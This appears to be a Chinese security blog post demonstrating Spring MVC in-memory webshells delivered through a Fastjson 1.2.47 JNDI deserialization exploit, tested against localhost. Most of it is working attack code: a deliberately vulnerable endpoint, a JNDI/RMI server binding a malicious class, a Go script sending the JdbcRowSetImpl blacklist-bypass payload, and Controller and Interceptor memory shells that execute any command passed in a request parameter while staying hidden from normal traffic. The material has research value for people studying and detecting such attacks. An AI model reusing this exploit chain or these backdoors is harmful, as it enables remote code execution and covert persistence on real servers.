

Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的
总而言之,SpringMVC框架使用范围极广。笔者大二曾参与多个实际上线Java项目的开发,他们的框架都包含了SpringMVC
下面做一个基本的功能演示:
public class TestController {public String test(){return "<h1>hello world</h1>";}}以上代码实现了用户访问localhost:8080/test后返回html代码<h1>hello world</h1>
笔者为了方便搭建环境,采用了SpringBoot,JDK为8u131,使用Fastjson创造反序列化利用点
<dependencies><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency></dependencies>创造一个反序列化利用点
// 使用fastjson 1.2.47模拟利用点import com.alibaba.fastjson.JSON;public class TestController {("/deserialize")public String deserialize( String code) throws Exception{// 本地JDK版本过高,为了方便,直接设置系统变量以成功利用JNDI注入System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");JSON.parse(code);return "deserialize";}}
首先尝试弹出计算器,确保利用成功后再尝试内存马
攻击者启动JNDI Server
public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("badClassName","com.test.shell.badClassName","http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit", referenceWrapper);}}其中的badClassName代码如下,在静态代码块中执行计算器命令
package com.test.shell;public class badClassName {static {try {Runtime.getRuntime().exec("calc");} catch (Exception e) {e.printStackTrace();}}}Reference的factoryLocation为class文件的http服务器,笔者使用Golang做了简单的路径映射
注意:不能直接映射到badClassName当前路径,而是classes路径
func main() {mux := http.NewServeMux()path := "YourPath\Fastjson\target\classes"mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))if err := http.ListenAndServe(":8000", mux); err != nil {fmt.Println("ok")}}图片是访问/com/test/shell后的效果
使用Golang发送Fastjson的JdbcRowSetImpl类型的Payload
func main() {clint := &http.Client{}payload := "{n" +" "a":{n" +" "@type":"java.lang.Class",n" +" "val":"com.sun.rowset.JdbcRowSetImpl"n" +" },n" +" "b":{n" +" "@type":"com.sun.rowset.JdbcRowSetImpl",n" +" "dataSourceName":"rmi://127.0.0.1:1099/Exploit",n" +" "autoCommit":truen" +" }n" +"}"// 防止出现意外问题,对Payload进行URL编码resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))if err != nil {fmt.Println(err)}fmt.Println(resp.StatusCode)}当我们发送后发现成功弹出计算器
既然分析到此处,顺便来看一下1.2.47版本绕过和JdbcRowSetImpl的原理,使用a和b两个对象,为了将a设置到缓存mapping中在第二个对象加载时绕过哈希黑名单和关闭动态类型机制。JdbcRowSetImpl对象我们设置其autoCommit属性为true是因为在setAutoCommit方法中有如下代码
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}}由于没有设置this.conn代码会进入this.connect,其中包含了 lookup(this.getDataSourceName())的代码。这里的dataSourceName正是传入的值,在这里被当作参数传入lookup函数,然后前往JNDI Server使用对应的协议寻找,由于JDNI绑定Reference,这里会加载到本地,实例化
private Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());......
上文已经成功弹出计算器了,说明笔者创造的漏洞点生效,下面将介绍内存马
该内存马代码参考网上大佬的博客,做了一些修改,本文后续正是采用此方法(将在后文给出大佬博客链接)
package com.test.shell;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {// 关于获取Context的方式有多种WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");method.setAccessible(true);// 通过反射获得该类的test方法Method method2 = InjectToController.class.getMethod("test");// 定义该controller的pathPatternsRequestCondition url = new PatternsRequestCondition("/good");// 定义允许访问的HTTP方法RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 构造注册信息RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,避免无限循环使用另一个构造方法InjectToController injectToController = new InjectToController("aaa");// 将该controller注册到Spring容器mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}public void test() throws IOException {// 获取请求HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();// 获取请求的参数cmd并执行// 类似于PHP的eval($_GET["cmd"])Runtime.getRuntime().exec(request.getParameter("cmd"));}}注意网上给出的这部分代码在高版本SpringMVC中无效,并且找不到合适的替代。这部分代码的目的是防止注册重复path,这种问题其实不需要这种复杂处理,对上文中/good部分的path替换为/Go0D等组合即可,因为正常的业务代码不可能定义这类特殊的path
Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");这是Controller形的内存马,同时存在Interceptor型的内存马。Interceptor名为拦截器,类似Filter,常用于处理权限问题,有兴趣的师傅可以尝试
public class TestInterceptor extends HandlerInterceptorAdapter {public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {// 获取contextWebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 从context中获取AbstractHandlerMapping的实例对象org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");// 反射获取adaptedInterceptors属性java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);// 避免重复添加for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {if (adaptedInterceptors.get(i) instanceof TestInterceptor) {System.out.println("已经添加过TestInterceptor实例了");return;}}TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环adaptedInterceptors.add(aaa); // 添加全局interceptor}private TestInterceptor(String aaa) {}public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String code = request.getParameter("code");// 不干扰正常业务逻辑if (code != null) {java.lang.Runtime.getRuntime().exec(code);return true;} else {return true;}}}注意其中的这部分代码在高版本SpringMVC中会遇到错误,导致无法注册Interceptor。由于时间关系,笔者并未尝试寻找替代类,有兴趣的师傅可以寻找合适的高版本利用方式
context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");提供landgrey师傅文章中获取context的几种方式,测试高版本SpringMVC可用的如下
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());本文的方式WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);说了这么多,还没进行内存马的利用,改下JNDI Server
public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("InjectToController","com.test.shell.InjectToController", "http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Exploit", referenceWrapper);}}访问localhost:8080/good?cmd=calc,成功生成内存马
关于本文有几处思考:
1.目前的内存马是无回显的,可以修改代码实现回显
2.笔者模拟的利用点是Fastjson反序列化,是否有其他方式(思路:SPEL型RCE,SSTI…)
3.既然Spring可以,那Struts2/Tomcat,甚至国产框架JFinal等框架是否也可以有类似的思路
https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://xz.aliyun.com/t/9344
https://www.cnblogs.com/bitterz/p/14859766.html
https://www.cnblogs.com/bitterz/p/14820898.html
(点击“阅读原文”查看链接)
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